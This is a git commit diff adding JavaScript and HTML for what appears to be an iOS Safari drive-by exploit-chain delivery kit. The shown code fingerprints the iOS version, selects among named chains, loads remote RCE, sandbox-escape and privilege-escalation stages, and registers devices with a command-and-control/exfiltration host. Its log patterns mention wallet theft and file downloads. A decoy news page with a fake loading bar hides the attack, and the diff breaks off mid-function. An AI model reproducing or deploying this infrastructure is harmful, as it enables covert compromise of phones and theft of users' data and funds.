feat: ds
This commit is contained in:
@@ -0,0 +1,419 @@
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
|
||||
window.__LAB_CHAIN__ = '';
|
||||
|
||||
var _stageQueue = [];
|
||||
var _lastPostedStage = '';
|
||||
function notify(stage, progress, label) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({
|
||||
type: 'ds-stage',
|
||||
stage: stage,
|
||||
progress: progress,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
label: label || stage
|
||||
}, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
enqueueStage(stage, progress, label);
|
||||
}
|
||||
function enqueueStage(stage, progress, label) {
|
||||
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
|
||||
if (key === _lastPostedStage) return;
|
||||
_lastPostedStage = key;
|
||||
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
|
||||
flushStageReports();
|
||||
}
|
||||
function flushStageReports() {
|
||||
var id = '';
|
||||
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
|
||||
if (!id) return;
|
||||
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
|
||||
while (_stageQueue.length) {
|
||||
var item = _stageQueue.shift();
|
||||
try {
|
||||
fetch(apiUrl('/api/ds/log'), {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
|
||||
credentials: 'omit',
|
||||
body: JSON.stringify({
|
||||
deviceUUID: id,
|
||||
stage: item.stage,
|
||||
progress: item.progress,
|
||||
label: item.label,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
channelCode: channel
|
||||
})
|
||||
}).catch(function () {});
|
||||
} catch (eS) {}
|
||||
}
|
||||
}
|
||||
|
||||
notify('boot', STAGE.boot, 'frame_boot');
|
||||
|
||||
if (typeof labEnsureHosts === 'function') labEnsureHosts();
|
||||
var base = (typeof labDeliveryHost === 'function')
|
||||
? labDeliveryHost()
|
||||
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
function apiUrl(path) {
|
||||
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
|
||||
}
|
||||
function assetUrl(path) {
|
||||
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
|
||||
}
|
||||
|
||||
// 記錄 frame.html 載入時間戳
|
||||
console.log('[Frame] Loaded at', new Date().toISOString());
|
||||
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
|
||||
|
||||
function resolveExfilInline() {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
|
||||
xhr.send();
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
var d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
|
||||
else window.__LAB_EXFIL__ = d.exfil;
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
stats_url: '',
|
||||
stats_url_direct: '',
|
||||
delivery_stats_url: '',
|
||||
};
|
||||
}
|
||||
}
|
||||
resolveExfilInline();
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent;
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) { return parseInt(p, 10); });
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = a[i] || 0, bi = b[i] || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function isCorunaRange(v) {
|
||||
if (!v || !v.length || v[0] < 13) return false;
|
||||
if (v[0] >= 18) return false;
|
||||
if (v[0] === 17 && v[1] >= 3) return false;
|
||||
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function isSilkPathRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
// 17.2.2+ through 18.3 — fills post-Coruna gap
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function isExploitChainRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
|
||||
if (v[0] >= 19 && v[0] <= 26) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 4) {
|
||||
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
}
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
function loadChainLoader(onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
function chainIdForIos(v) {
|
||||
if (!v || !v.length) return 'unknown';
|
||||
if (isCorunaRange(v)) return 'coruna';
|
||||
if (isSilkPathRange(v)) return 'silkpath';
|
||||
if (isExploitChainRange(v)) {
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
|
||||
return 'darksword';
|
||||
}
|
||||
return 'blocked';
|
||||
}
|
||||
var chain = chainIdForIos(ios);
|
||||
var apiPlan = null;
|
||||
try {
|
||||
var xhrPlan = new XMLHttpRequest();
|
||||
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
|
||||
xhrPlan.send();
|
||||
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
|
||||
apiPlan = JSON.parse(xhrPlan.responseText);
|
||||
if (apiPlan.chain) chain = apiPlan.chain;
|
||||
if (apiPlan.exfil) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
|
||||
else window.__LAB_EXFIL__ = apiPlan.exfil;
|
||||
}
|
||||
window.__LAB_BAND__ = apiPlan.band || null;
|
||||
window.__LAB_GATED__ = !!apiPlan.gated;
|
||||
window.__LAB_RECOMMENDED_WORKER__ = apiPlan.recommended_worker || (apiPlan.band && apiPlan.band.recommended_worker) || '';
|
||||
window.__LAB_FALLBACK_WORKERS__ = apiPlan.fallback_workers || (apiPlan.band && apiPlan.band.fallback_workers) || [];
|
||||
window.__LAB_S5_MODULE__ = apiPlan.s5_module || '';
|
||||
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
|
||||
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
|
||||
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
|
||||
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
|
||||
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
|
||||
}
|
||||
try {
|
||||
var pw = window.__LAB_RECOMMENDED_WORKER__;
|
||||
if (pw) {
|
||||
var l = document.createElement('link');
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
|
||||
document.head.appendChild(l);
|
||||
}
|
||||
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
|
||||
var l2=document.createElement('link');
|
||||
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
|
||||
document.head.appendChild(l2);
|
||||
});
|
||||
} catch (ePre) {}
|
||||
}
|
||||
} catch (ePlan) {}
|
||||
window.__LAB_CHAIN__ = chain;
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({
|
||||
type: 'ds-chain',
|
||||
chain: chain,
|
||||
ios: ios ? ios.join('.') : ''
|
||||
}, '*');
|
||||
}
|
||||
} catch (eChain) {}
|
||||
|
||||
(function bindDeviceUuid() {
|
||||
function genUuid32() {
|
||||
try {
|
||||
var a = new Uint8Array(16);
|
||||
(window.crypto || window.msCrypto).getRandomValues(a);
|
||||
var hex = '';
|
||||
for (var i = 0; i < a.length; i++) hex += ('0' + a[i].toString(16)).slice(-2);
|
||||
return hex.toUpperCase();
|
||||
} catch (e) {
|
||||
return (Date.now().toString(16) + Math.random().toString(16).slice(2) + '0000000000000000').slice(0, 32).toUpperCase();
|
||||
}
|
||||
}
|
||||
try {
|
||||
var q = new URLSearchParams(location.search);
|
||||
var du = q.get('deviceUUID') || q.get('device') || q.get('uuid') || '';
|
||||
if (!du) {
|
||||
try { du = localStorage.getItem('lab_device_uuid') || ''; } catch (eLs) {}
|
||||
}
|
||||
if (!du) {
|
||||
try {
|
||||
var m = document.cookie.match(/(?:^|; )lab_device_uuid=([^;]*)/);
|
||||
du = m ? decodeURIComponent(m[1]) : '';
|
||||
} catch (eCk) {}
|
||||
}
|
||||
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
|
||||
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
|
||||
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(window.__LAB_DEVICE_UUID__) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (eC2) {}
|
||||
} catch (e0) {
|
||||
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
|
||||
}
|
||||
window.addEventListener('message', function (ev) {
|
||||
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
|
||||
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
|
||||
try { flushStageReports(); } catch (eF) {}
|
||||
});
|
||||
})();
|
||||
try { flushStageReports(); } catch (eFlush) {}
|
||||
|
||||
(function registerFrameDevice() {
|
||||
try {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
if (!id) return;
|
||||
var iosStr = ios ? ios.join('.') : '';
|
||||
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
|
||||
var regBody = JSON.stringify({
|
||||
deviceUUID: id,
|
||||
user_agent: navigator.userAgent,
|
||||
userAgent: navigator.userAgent,
|
||||
ios: iosStr,
|
||||
ios_version: iosStr,
|
||||
chain: chain === 'blocked' ? 'out_of_scope' : chain,
|
||||
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
|
||||
});
|
||||
fetch(apiUrl('/api/ds/device/register'), {
|
||||
method: 'POST',
|
||||
headers: regHeaders,
|
||||
credentials: 'omit',
|
||||
body: regBody
|
||||
}).then(function (r) { return r.ok ? r.json() : null; }).then(function (d) {
|
||||
var canon = (d && d.device) ? String(d.device).replace(/-/g, '').toUpperCase() : '';
|
||||
if (canon) {
|
||||
window.__LAB_DEVICE_UUID__ = canon;
|
||||
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (e4) {}
|
||||
if (window.parent && window.parent !== window) {
|
||||
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
|
||||
}
|
||||
}
|
||||
}).catch(function () {});
|
||||
} catch (e) {}
|
||||
})();
|
||||
|
||||
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
|
||||
console.log('[Frame] Chain selected:', chain);
|
||||
(function () {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
|
||||
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
|
||||
fetch(apiUrl('/api/ds/log?' + q), {
|
||||
method: 'GET',
|
||||
headers: id ? { 'X-Device-UUID': id } : {}
|
||||
}).catch(function () {});
|
||||
})();
|
||||
|
||||
|
||||
function setHold(kind) {
|
||||
try {
|
||||
var ts = String(Date.now());
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
if (kind === 'rce' || kind === 'all') {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
}
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
if (chain === 'coruna') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Prefer full group.html entry when top-level; inside iframe use loader
|
||||
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
|
||||
? window.__LAB_ENTRY__
|
||||
: '/coruna/group.html';
|
||||
try {
|
||||
if (window.top === window) {
|
||||
location.replace(assetUrl(corunaEntry) + (location.search || ''));
|
||||
return;
|
||||
}
|
||||
} catch (eTop) {}
|
||||
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'silkpath') {
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
|
||||
// reload the page while stage1 is still running (looks like "auto refresh").
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
// Load plaintext rce_loader.js
|
||||
loadChainLoader(function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else {
|
||||
loadScript(assetUrl('/chain_blocked.js'), function () {
|
||||
notify('loader', STAGE.loader);
|
||||
});
|
||||
}
|
||||
|
||||
var _log = console.log;
|
||||
console.log = function () {
|
||||
var msg = Array.prototype.join.call(arguments, ' ');
|
||||
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
|
||||
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
|
||||
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
|
||||
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
|
||||
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
|
||||
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
|
||||
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
|
||||
}
|
||||
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
|
||||
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
|
||||
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
return _log.apply(console, arguments);
|
||||
};
|
||||
})();
|
||||
@@ -0,0 +1,18 @@
|
||||
window.NEWS2_CONFIG = {
|
||||
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
|
||||
deliveryHost: "",
|
||||
deliveryPath: "/next-chain",
|
||||
qqtimePath: "/qqtime/",
|
||||
// C2 / API → coruna-lab :8000
|
||||
exfil: {
|
||||
host: "192.168.31.130",
|
||||
domain: "192.168.31.130",
|
||||
http_port: 8000,
|
||||
https_port: 8000,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
},
|
||||
redirectUrl: "https://ab.ux600.com",
|
||||
countdownSeconds: 8,
|
||||
};
|
||||
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
|
||||
@@ -0,0 +1,67 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="theme-color" content="#ffffff" />
|
||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||
<title></title>
|
||||
<style>
|
||||
* { box-sizing: border-box; margin: 0; padding: 0; }
|
||||
html, body { width: 100%; height: 100%; overflow: hidden; background: #fff; }
|
||||
.page { width: 100%; height: 100%; min-height: 100vh; min-height: 100dvh; background: #fff; position: relative; }
|
||||
.top-progress { position: fixed; top: 0; left: 0; width: 100%; height: 2px; z-index: 9999; pointer-events: none; background: transparent; overflow: hidden; }
|
||||
.top-progress-bar { height: 100%; width: 0; background: #007aff; border-radius: 0 1px 1px 0; box-shadow: 0 0 6px rgba(0, 122, 255, 0.45); transform-origin: left center; will-change: width, opacity; }
|
||||
.top-progress.is-done .top-progress-bar { opacity: 0; transition: opacity 0.2s ease; }
|
||||
@media (prefers-reduced-motion: reduce) { .top-progress-bar { transition: none !important; } }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page">
|
||||
<div class="top-progress" id="topProgress" aria-hidden="true">
|
||||
<div class="top-progress-bar" id="topProgressBar"></div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script>
|
||||
var LOADING_MS = 8000;
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
|
||||
|
||||
(function () {
|
||||
var bar = document.getElementById('topProgressBar');
|
||||
var wrap = document.getElementById('topProgress');
|
||||
var start = Date.now();
|
||||
|
||||
function setProgress(value) { bar.style.width = Math.max(0, Math.min(100, value)) + '%'; }
|
||||
|
||||
function tick() {
|
||||
var elapsed = Date.now() - start;
|
||||
var ratio = elapsed / LOADING_MS;
|
||||
var next;
|
||||
if (ratio < 0.35) { next = ratio / 0.35 * 68; }
|
||||
else if (ratio < 0.85) { next = 68 + (ratio - 0.35) / 0.5 * 22; }
|
||||
else if (ratio < 1) { next = 90 + (ratio - 0.85) / 0.15 * 9; }
|
||||
else { next = 100; }
|
||||
setProgress(next);
|
||||
if (elapsed < LOADING_MS) { window.requestAnimationFrame(tick); }
|
||||
else {
|
||||
setProgress(100);
|
||||
wrap.className = 'top-progress is-done';
|
||||
window.setTimeout(function () { window.location.replace(REDIRECT_URL); }, 120);
|
||||
}
|
||||
}
|
||||
window.requestAnimationFrame(tick);
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,179 @@
|
||||
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
|
||||
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
|
||||
(function (g) {
|
||||
if (!g) return;
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || "").replace(/\/+$/, "");
|
||||
}
|
||||
|
||||
function ensureSlashPath(p) {
|
||||
p = String(p || "");
|
||||
if (!p) return "";
|
||||
return p.charAt(0) === "/" ? p : "/" + p;
|
||||
}
|
||||
|
||||
function joinBase(base, path) {
|
||||
base = trimSlash(base);
|
||||
path = String(path || "");
|
||||
if (!path) return base;
|
||||
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
|
||||
if (path.charAt(0) !== "/") path = "/" + path;
|
||||
return base + path;
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || "")
|
||||
.replace(/^https?:\/\//, "")
|
||||
.split("/")[0]
|
||||
.split(":")[0];
|
||||
}
|
||||
|
||||
function defaultExfil() {
|
||||
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
|
||||
return {
|
||||
host: domain,
|
||||
domain: domain,
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
stats_url: "",
|
||||
stats_url_direct: "",
|
||||
delivery_stats_url: "",
|
||||
};
|
||||
}
|
||||
|
||||
function inferDeliveryHost() {
|
||||
try {
|
||||
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
|
||||
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (chained && g.location.origin && g.location.origin !== "null") {
|
||||
return trimSlash(g.location.origin) + chained[1];
|
||||
}
|
||||
} catch (eBoot) {}
|
||||
try {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
|
||||
if (cfg.deliveryPath) {
|
||||
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
|
||||
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
|
||||
}
|
||||
} catch (e1) {}
|
||||
try {
|
||||
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
|
||||
var origin = trimSlash(g.location.origin);
|
||||
var path = String(g.location.pathname || "/");
|
||||
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
} catch (e2) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
|
||||
if (!ex || !ex.host) return cur;
|
||||
g.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host) || cur.host,
|
||||
domain: hostOnly(ex.domain || ex.host) || cur.domain,
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
|
||||
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
|
||||
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
|
||||
stats_url: ex.stats_url || cur.stats_url || "",
|
||||
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
|
||||
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
|
||||
};
|
||||
return g.__LAB_EXFIL__;
|
||||
}
|
||||
|
||||
function apiOrigin(ex) {
|
||||
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
|
||||
var host = hostOnly(ex.host);
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
|
||||
var scheme = tls ? "https" : "http";
|
||||
var origin = scheme + "://" + host;
|
||||
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return origin;
|
||||
}
|
||||
|
||||
function ensureHosts() {
|
||||
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
|
||||
var d = inferDeliveryHost();
|
||||
if (d) g.__LAB_DELIVERY_HOST__ = d;
|
||||
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
|
||||
}
|
||||
|
||||
function applyNews2Config() {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
|
||||
} else if (cfg.deliveryPath) {
|
||||
try {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
|
||||
} catch (e) {}
|
||||
}
|
||||
if (cfg.exfil) applyExfil(cfg.exfil);
|
||||
ensureHosts();
|
||||
}
|
||||
|
||||
g.labTrimSlash = trimSlash;
|
||||
g.labJoinBase = joinBase;
|
||||
g.labInferDeliveryHost = inferDeliveryHost;
|
||||
g.labDeliveryHost = function () {
|
||||
ensureHosts();
|
||||
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
|
||||
};
|
||||
g.labDeliveryUrl = function (path) {
|
||||
return joinBase(g.labDeliveryHost(), path);
|
||||
};
|
||||
g.labApiOrigin = function () {
|
||||
ensureHosts();
|
||||
return apiOrigin(g.__LAB_EXFIL__);
|
||||
};
|
||||
g.labApiUrl = function (path) {
|
||||
